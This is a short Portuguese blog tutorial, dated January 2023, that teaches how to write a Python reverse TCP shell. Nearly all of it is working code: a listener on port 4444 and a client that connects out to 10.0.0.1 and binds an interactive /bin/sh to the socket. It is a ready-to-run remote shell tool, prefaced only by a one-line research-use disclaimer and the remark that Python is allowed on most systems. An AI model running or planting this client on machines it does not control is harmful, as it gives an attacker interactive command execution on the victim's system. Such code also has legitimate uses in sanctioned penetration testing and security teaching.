Escreva shells TCP reversos do Python em menos de 5,1 minutos

Jan 11 2023
R. Eric Kiser Isenção de responsabilidade: para fins de pesquisa e conexões com dispositivos que você possui.

R. Eric Kiser

Isenção de responsabilidade: para fins de pesquisa e conexões com dispositivos que você possui. Para escrever um shell TCP reverso em qualquer idioma, você precisará de dois programas, o servidor e o cliente. Você precisa executar o servidor (ouvinte) no seu dispositivo e executar o cliente no computador ao qual deseja se conectar. O Python geralmente é permitido na maioria dos sistemas.

Exemplo de Servidor Shell TCP Reverso

import socket

HOST = '0.0.0.0'    # Listen on all interfaces
PORT = 4444         # Port to listen on

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind((HOST, PORT))
s.listen(1)         # Listen for only one connection

print(f'[*] Listening on {HOST}:{PORT}')

conn, addr = s.accept()
print(f'[*] Connection from {addr[0]}:{addr[1]}')

# Start a shell
while True:
    command = input("$ ")
    if command == "exit":
        break
    conn.send(command.encode())
    data = conn.recv(1024).decode()
    print(data)

conn.close()

Exemplo de cliente TCP reverso

import socket
import subprocess

HOST = '10.0.0.1'  # IP of the listener
PORT = 4444        # Port to connect to

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

# Start a shell process
p = subprocess.Popen(['/bin/sh', '-i'],
                     stdin=s.fileno(),
                     stdout=s.fileno(),
                     stderr=s.fileno())

# Run the shell until the process terminates
p.wait()

# Close the socket
s.close()